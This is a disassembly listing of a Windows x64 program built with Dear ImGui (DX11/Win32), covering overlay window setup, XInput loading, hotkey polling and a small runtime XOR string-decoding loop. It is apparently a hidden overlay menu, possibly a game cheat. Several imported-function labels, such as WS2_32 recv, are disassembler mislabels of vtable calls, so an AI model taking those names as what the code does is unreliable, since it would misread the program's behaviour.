mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r13b
je 0x1400591ee
mov r8d, 0xbbd
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0x540]
movups xmm1, xmmword [rbp + 0x550]
movups xmm2, xmmword [rbp + 0x530]
movups xmmword [rbp + 0xf30], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x560]
movups xmmword [rbp + 0xf40], xmm1
movups xmm1, xmmword [rbp + 0x570]
movups xmmword [rbp + 0xf50], xmm0
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0xf60], xmm1
movups xmm1, xmmword [rbp + 0x590]
movups xmmword [rbp + 0xf70], xmm0
movups xmm0, xmmword [rbp + 0x5a0]
movups xmmword [rbp + 0xf80], xmm1
movsd xmm1, qword [rbp + 0x5b0]
movups xmmword [rbp + 0xf90], xmm0
movsd qword [rbp + 0xfa0], xmm1
movups xmmword [rbp + 0xf20], xmm2
test rax, rax
je 0x140059292
mov r8d, 0xbbf
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x1401b6f50]
mov dword [rbp + 0xf28], 0xe9c
lea rdx, [rbp + 0xf20]
mov qword [rbp + 0xf20], r14
mov rcx, rdi
mov dword [rbp + 0xf34], 0x41c80000
mov qword [rbp + 0xf58], rsi
call fcn.140028610
mov qword [0x1401ba240], rax
mov rbx, qword [rbx + 0x58]
cmp byte [rbx + 0x18], r13b
je 0x1400592f5
mov r8d, 0xbbd
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0x540]
movups xmm1, xmmword [rbp + 0x550]
movups xmm2, xmmword [rbp + 0x530]
movups xmmword [rbp + 0xfc0], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x560]
movups xmmword [rbp + 0xfd0], xmm1
movups xmm1, xmmword [rbp + 0x570]
movups xmmword [rbp + 0xfe0], xmm0
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0xff0], xmm1
movups xmm1, xmmword [rbp + 0x590]
movups xmmword [rbp + 0x1000], xmm0
movups xmm0, xmmword [rbp + 0x5a0]
movups xmmword [rbp + 0x1010], xmm1
movsd xmm1, qword [rbp + 0x5b0]
movups xmmword [rbp + 0x1020], xmm0
movsd qword [rbp + 0x1030], xmm1
movups xmmword [rbp + 0xfb0], xmm2
test rax, rax
je 0x140059399
mov r8d, 0xbbf
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0xfb0]
mov qword [rbp + 0xfb0], r14
mov rcx, rbx
mov dword [rbp + 0xfb8], 0xe9c
mov dword [rbp + 0xfc4], 0x41b00000
mov qword [rbp + 0xfe8], rsi
call fcn.140028610
xor ecx, ecx
call fcn.140021570
mov rbx, qword [0x1401ba210]
mov rsi, qword [0x1401ba250]
test rbx, rbx
jne 0x140059405
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401ba210]
cmp qword [rbx + 0x98], r13
je 0x140059428
mov r8d, 0x75
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixed_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400595ad
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400595ad
mov rax, qword [0x1401ba210]
test rax, rax
je 0x140059464
inc dword [rax + 0xf4]
mov rdx, qword [0x1401ba200]
mov ecx, 0x48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
test rax, rax
je 0x140059497
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14005949a
mov rdi, r13
mov qword [rbx + 0x98], rdi
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
or dword [rbx + 0xc], 6
mov qword [rdi], rsi
mov rax, qword [rbp + 0x8e0]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x820]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x1400594fd
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
mov rbx, r13
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0xcf8], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0xd00], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0xd08], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0xd10], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0xd18], rax
mov byte [rdi + 0x2d], 1
nop dword [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0xcf8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140059581
inc rbx
cmp rbx, 5
jl 0x140059560
jmp 0x1400595ad
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x1401ba210]
mov r14, qword [0x1401efdb8]
mov rsi, qword [0x1401efdb0]
test rax, rax
jne 0x1400595e8
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r13
je 0x140059616
mov r8d, 0x221
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixed_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
test rax, rax
je 0x140059621
inc dword [rax + 0xf4]
mov rdx, qword [0x1401ba200]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x140059668
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14005966b
mov rbx, r13
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 0x1f0]
or dword [rdi + 4], 8
lea rdx, [0x14016f850]
mov qword [rbp + 0x1f0], r13
mov rcx, rsi
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x440], r13
mov rax, qword [rsi]
mov r9, qword [rax]
call r9
test eax, eax
jne 0x14005970f
mov rcx, qword [rbp + 0x1f0]
lea r8, [rbp + 0x1f8]
lea rdx, [0x14016f860]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14005970f
mov rcx, qword [rbp + 0x1f8]
lea r8, [rbp + 0x440]
lea rdx, [0x14016f870]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x14005970f
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x440]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x140059721
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x1f8]
test rcx, rcx
je 0x140059733
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [0x1401ba210]
mov esi, 1
movss xmm0, dword [0x14018d120]
xorps xmm10, xmm10
movss xmm1, dword [0x14018d124]
movss xmm6, dword [0x1401740e8]
or dword [rax + 0x47b8], 2
movss xmm9, dword [0x140174030]
xor r14b, r14b
movss xmm12, dword [0x140174224]
movss xmm13, dword [0x140174114]
movss xmm11, dword [0x14017407c]
movss xmm15, dword [0x14017414c]
movss dword [rax + 0x47d8], xmm0
movss dword [rax + 0x47dc], xmm1
mov dword [rax + 0x47c0], esi
mov r12d, dword [rbp + 0x1e4]
movaps xmmword [rsp + 0x1560], xmm8
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xe60]
xor edx, edx
mov ebx, 0x5054
movabs rdi, 0x7fffffffffff
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005984f
nop word [rax + rax]
lea rcx, [rbp + 0xe60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xe60]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xe68], 0x12
lea rcx, [rbp + 0xe60]
movzx r14d, r14b
cmove r14d, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140059800
test r14b, r14b
jne 0x14006413c
mov ecx, dword [0x1401ba24c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400598f0
lea rdx, [0x140171e4c]
lea rcx, [rbp + 0x10d8]
call fcn.140042a00
lea rdx, [0x140162b9a]
mov rsi, rax
lea rcx, [rbp + 0x1178]
call fcn.140042a00
lea rdx, [0x140162b9a]
mov rdi, rax
lea rcx, [rbp + 0x1158]
call fcn.140042a00
lea rdx, [0x140171e4c]
mov rbx, rax
lea rcx, [rbp + 0x1138]
call fcn.140042a00
mov qword [rsp + 0x30], rsi
lea rcx, [0x1401b9230]
mov qword [rsp + 0x28], rdi
xor r8d, r8d
movabs rdi, 0x7fffffffffff
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov rdx, rax
call fcn.140050ce0
mov esi, 1
mov ebx, 0x5054
mov ecx, dword [0x1401ba280]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400599bd
xorps xmm0, xmm0
mov qword [rbp + 0xb88], 2
movups xmmword [rbp + 0xb78], xmm0
lea rdx, [0x140162b9a]
mov word [rbp + 0xb78], bx
lea rcx, [rbp + 0x1118]
mov byte [rbp + 0xb7a], r13b
mov qword [rbp + 0xb90], reloc.WS2_32.dll_ntohs
call fcn.140042a00
lea rdx, [0x140162b9a]
mov rbx, rax
lea rcx, [rbp + 0x10f8]
call fcn.140042a00
xorps xmm0, xmm0
mov qword [rbp + 0xba8], 2
movups xmmword [rbp + 0xb98], xmm0
mov ecx, 0x5054
mov qword [rbp + 0xbb0], reloc.WS2_32.dll_ntohs
mov word [rbp + 0xb98], cx
lea rdx, [rbp + 0xb98]
lea rcx, [rbp + 0xb78]
mov byte [rbp + 0xb9a], r13b
mov qword [rsp + 0x30], rcx
mov r9, rdi
mov qword [rsp + 0x28], rbx
lea rcx, [0x1401b9230]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.140050ce0
mov ecx, dword [0x1401ba248]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400599d4
mov byte [0x1401ba28a], 1
mov rbx, qword [0x1401ba210]
test rbx, rbx
je 0x1400599ee
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140059a0b
jmp 0x1400599f1
mov rbx, r13
mov r8d, 0x250
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixed_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r13
jne 0x140059a16
call fcn.140044970
call fcn.140045b20
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140059a38
cmp byte [reloc.WS2_32.dll_accept], r13b
sete byte [0x1401b9384]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140064412
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140059a78
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x14018d118]
mulss xmm0, xmm6
cmp ecx, 0xff
jg 0x140059a9d
cmp byte [reloc.WS2_32.dll_accept], r13b
mov eax, Ordinal_301
jne 0x140059aa0
mov eax, r13d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x14018d118], r8d
cmp r8d, 0xff
jle 0x140059add
mov dword [0x14018d118], 0xff
mov r8d, 0xff
mov rcx, qword [0x1401ba250]
xor edx, edx
lea r9d, [rdx + 2]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x14018d118], r13d
mov edx, r13d
mov rcx, qword [0x1401ba250]
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140008d30
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140059b41
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
movss xmm4, dword [rax + 0x18]
movaps xmm1, xmm14
subss xmm1, dword [0x1401efeb4]
movss xmm8, dword [0x14018d108]
movss xmm7, dword [0x14018d10c]
movaps xmm5, xmm8
subss xmm5, dword [0x1401efea8]
mulss xmm4, xmm6
movaps xmm3, xmm7
subss xmm3, dword [0x1401efeac]
movss xmm6, dword [0x14018d110]
mulss xmm1, xmm4
movaps xmm2, xmm6
subss xmm2, dword [0x1401efeb0]
mulss xmm3, xmm4
addss xmm1, dword [0x1401efeb4]
mulss xmm5, xmm4
addss xmm3, dword [0x1401efeac]
mulss xmm2, xmm4
addss xmm5, dword [0x1401efea8]
movss dword [0x1401efeb4], xmm1
movaps xmm1, xmm14
subss xmm1, dword [0x1401eff54]
addss xmm2, dword [0x1401efeb0]
movss dword [0x1401efeac], xmm3
movss dword [0x1401efea8], xmm5
mulss xmm8, xmm9
movss dword [0x1401efeb0], xmm2
movss xmm5, dword [rax + 0x18]
mulss xmm5, dword [0x1401740e8]
movaps xmm4, xmm8
subss xmm4, dword [0x1401eff48]
subss xmm8, dword [0x1401efe58]
mulss xmm1, xmm5
mulss xmm7, xmm9
addss xmm1, dword [0x1401eff54]
mulss xmm6, xmm9
movaps xmm3, xmm7
mulss xmm4, xmm5
subss xmm3, dword [0x1401eff4c]
subss xmm7, dword [0x1401efe5c]
addss xmm4, dword [0x1401eff48]
movss dword [0x1401eff54], xmm1
movaps xmm2, xmm6
subss xmm2, dword [0x1401eff50]
subss xmm6, dword [0x1401efe60]
mulss xmm3, xmm5
movaps xmm1, xmm14
subss xmm1, dword [0x1401efe64]
movss dword [0x1401eff48], xmm4
addss xmm3, dword [0x1401eff4c]
mulss xmm2, xmm5
addss xmm2, dword [0x1401eff50]
movss dword [0x1401eff4c], xmm3
movss dword [0x1401eff50], xmm2
movss xmm3, dword [rax + 0x18]
mulss xmm3, dword [0x1401740e8]
mulss xmm8, xmm3
mulss xmm7, xmm3
addss xmm8, dword [0x1401efe58]
mulss xmm6, xmm3
addss xmm7, dword [0x1401efe5c]
mulss xmm1, xmm3
addss xmm6, dword [0x1401efe60]
movss dword [0x1401efe58], xmm8
addss xmm1, dword [0x1401efe64]
movss dword [0x1401efe5c], xmm7
movss dword [0x1401efe60], xmm6
movss dword [0x1401efe64], xmm1
mov dword [rax + 0x37e8], r13d
movss dword [rax + 0x37ec], xmm10
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140059d3d
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
mov dword [rax + 0x37f4], r13d
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140059d71
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
movss xmm0, dword [0x140174100]
mov dword [rax + 0x382c], 0x41600000
movss dword [rax + 0x3830], xmm0
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140059db8
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
mov dword [rax + 0x3854], 0x40e00000
mov rax, qword [0x1401ba210]
test rax, rax
jne 0x140059def
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401ba210]
movss xmm3, dword [0x14018d120]
movss xmm0, dword [0x14018d124]
or dword [rax + 0x47b8], 0x10
movss xmm1, dword [rax + 0x10]
movss xmm2, dword [rax + 0x14]
shufps xmm3, xmm3, 0xe1
movss xmm3, xmm0
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rax + 0x47f4], xmm3
mov qword [rax + 0x4808], r13
mov qword [rax + 0x4810], r13
cmp byte [0x140173dff], r13b
mov eax, dword [0x140173dfc]
mov dword [rbp + 0x20], eax
movups xmmword [rsp + 0x60], xmm3
je 0x140059f24
cmp r15d, 2
jl 0x140059ee7
movdqa xmm3, xmmword [0x1401742f0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401744f0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401744f0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x20], xmm2
jmp 0x140059f24
lea r9, [rbp + 0x20]
mov r8d, r13d
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140059ef0
xor edx, edx
lea rcx, [rbp + 0x20]
mov r8d, 0x20bb
call fcn.14000f3f0
call fcn.1400504d0
mov rcx, qword [0x1401ba250]
lea rdx, [rbp + 0x5e8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x1401ba210]
mov rax, qword [rbx + 0x3ee0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm10
movss xmm1, dword [rax + 0x1c]
jp 0x140059f76
jne 0x140059f76
ucomiss xmm1, xmm10
jp 0x140059f76
je 0x140059fe7
movd xmm0, dword [rbp + 0x5ec]
mov r9d, 0x2da
mov rcx, qword [0x1401ba250]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1f4
addss xmm0, xmm1
movd xmm1, dword [rbp + 0x5e8]
cvtdq2ps xmm1, xmm1
cvttss2si r8d, xmm0
addss xmm1, xmm2
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x1401ba210]
lea rdx, [rbp + 0x448]
xor r8d, r8d
mov qword [rbp + 0x448], r13
mov rcx, qword [rcx + 0x3ee0]
call fcn.140012d30
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005a00a
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401effcc]
lea rcx, [rbp + 0x5f8]
movss xmm0, dword [0x1401effc8]
mov r10, rax
mov r8, qword [0x1401ba210]
movss dword [rbp + 0x5fc], xmm1
movss xmm1, dword [0x1401effd4]
movss dword [rbp + 0x5f8], xmm0
mulss xmm1, dword [r8 + 0x37e0]
movss xmm0, dword [0x1401effd0]
movss dword [rbp + 0x600], xmm0
movss dword [rbp + 0x604], xmm1
call fcn.140004090
mov rdx, qword [r8 + 0x3ee0]
mov r9d, eax
movss xmm3, dword [rdx + 0x24c]
movss xmm0, dword [rdx + 0x18]
movss xmm2, dword [rdx + 0x248]
subss xmm2, xmm0
subss xmm3, dword [rdx + 0x1c]
cmp qword [rdx + 0x1a0], r13
jne 0x14005a0bb
cmp qword [r8 + 0x4b28], r13
je 0x14005a0c7
movss xmm2, dword [rdx + 0x218]
subss xmm2, xmm0
movss xmm1, dword [rdx + 0x1c]
addss xmm0, xmm2
addss xmm1, xmm3
mov dword [rsp + 0x28], r13d
lea rdx, [rbp + 0x828]
mov rcx, r10
movss dword [rbp + 0x450], xmm0
movss dword [rbp + 0x454], xmm1
mov rax, qword [r8 + 0x3ee0]
lea r8, [rbp + 0x450]
movss xmm1, dword [0x1401740dc]
movss dword [rsp + 0x20], xmm1
movsd xmm0, qword [rax + 0x18]
movsd qword [rbp + 0x828], xmm0
call fcn.140025460
cmp dword [0x1401df928], 1
jne 0x14005a251
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005a158
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401effbc]
mov r10, rax
mov rax, qword [0x1401ba210]
movss xmm0, dword [0x1401effb8]
movss xmm6, dword [0x14017417c]
movss dword [rbp + 0x608], xmm0
mov rcx, qword [rax + 0x3ee0]
movss xmm0, dword [0x1401effc0]
movss dword [rbp + 0x60c], xmm1
movss xmm1, dword [0x1401effc4]
mulss xmm1, dword [rax + 0x37e0]
movss xmm2, dword [rcx + 0x24c]
subss xmm2, dword [rcx + 0x1c]
movss dword [rbp + 0x610], xmm0
movss xmm0, dword [rcx + 0x18]
addss xmm0, xmm6
movss dword [rbp + 0x614], xmm1
movss xmm1, dword [rcx + 0x1c]
lea rcx, [rbp + 0x608]
addss xmm2, xmm1
movss dword [rbp + 0x458], xmm0
movss dword [rbp + 0x45c], xmm2
mov rax, qword [rax + 0x3ee0]
movsd xmm0, qword [rax + 0x18]
movsd qword [rbp + 0x830], xmm0
call fcn.140004090
movss xmm0, dword [0x1401740dc]
lea r8, [rbp + 0x458]
mov r9d, eax
mov dword [rsp + 0x28], 0x50
lea rdx, [rbp + 0x830]
movss dword [rsp + 0x20], xmm0
mov rcx, r10
call fcn.140025460
jmp 0x14005a259
movss xmm6, dword [0x14017417c]
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005a283
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
movss xmm1, dword [0x1401eff4c]
lea rcx, [rbp + 0x618]
movss xmm0, dword [0x1401eff48]
mov r10, rax
mov r8, qword [0x1401ba210]
movss dword [rbp + 0x61c], xmm1
movss xmm1, dword [0x1401eff54]
movss dword [rbp + 0x618], xmm0
mulss xmm1, dword [r8 + 0x37e0]
movss xmm0, dword [0x1401eff50]
movss dword [rbp + 0x620], xmm0
movss dword [rbp + 0x624], xmm1
call fcn.140004090
mov rdx, qword [r8 + 0x3ee0]
mov r9d, eax
movss xmm3, dword [rdx + 0x24c]
movss xmm0, dword [rdx + 0x18]
movss xmm2, dword [rdx + 0x248]
subss xmm2, xmm0
subss xmm3, dword [rdx + 0x1c]
cmp qword [rdx + 0x1a0], r13
jne 0x14005a334
cmp qword [r8 + 0x4b28], r13
je 0x14005a340
movss xmm2, dword [rdx + 0x218]
subss xmm2, xmm0
movss xmm1, dword [rdx + 0x1c]
addss xmm0, xmm2
movss dword [rsp + 0x30], xmm14
addss xmm1, xmm3
mov dword [rsp + 0x28], r13d
lea rdx, [rbp + 0x838]
mov rcx, r10
movss dword [rbp + 0x468], xmm0
movss dword [rbp + 0x46c], xmm1
mov rax, qword [r8 + 0x3ee0]
lea r8, [rbp + 0x468]
movsd xmm0, qword [rax + 0x18]
movsd qword [rbp + 0x838], xmm0
movss xmm0, dword [0x1401740dc]
movss dword [rsp + 0x20], xmm0
call fcn.140025350
mov rbx, qword [0x1401ba210]
cmp dword [rbx + 0x48b0], r13d
jg 0x14005a3cb
mov r8d, 0x704
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48b8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400083a0
mov rcx, qword [0x1401ba210]
mov r10, rax
movss xmm1, dword [0x1401efeac]
movss xmm0, dword [0x1401efea8]
movss dword [rbp + 0x63c], xmm1
movss xmm1, dword [0x1401efeb4]
mulss xmm1, dword [rcx + 0x37e0]
mov dword [rbp + 0x470], 0x3f800000
mov dword [rbp + 0x474], 0x3f800000
mov qword [rbp + 0x478], r13
mov rax, qword [rcx + 0x3ee0]
movss dword [rbp + 0x638], xmm0
